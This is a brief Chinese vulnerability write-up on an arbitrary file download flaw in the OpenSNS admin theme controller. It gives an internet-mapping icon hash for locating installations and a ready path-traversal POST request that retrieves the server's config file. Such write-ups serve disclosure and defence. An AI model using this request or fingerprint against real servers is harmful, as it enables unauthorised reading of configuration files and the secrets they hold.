# OpenSNS ThemeController.class.php 后台任意文件下载漏洞 ## 漏洞描述 OpenSNS ThemeController.class.php文件中存在文件下载,其中过滤不足导致可以下载服务器任意文件 ## 漏洞影响 ``` OpenSNS ``` ## 网络测绘 ``` icon_hash="1167011145" ``` ## 漏洞复现 登录页面如下 ![image-20220518154815562](./images/202205181548621.png) 存在漏洞的文件为 `Application/Admin/Model/ThemeController.class.php` ![image-20220518154826306](./images/202205181548388.png) 其中 theme参数为用户可控参数,根据函数流程可以发现存在的文件将会打包为 zip文件提供下载 ![image-20220518154838931](./images/202205181548023.png) 构造请求 ``` POST /admin.php?s=/theme/packageDownload theme=../Conf/common.php ``` ![image-20220518154851785](./images/202205181548889.png)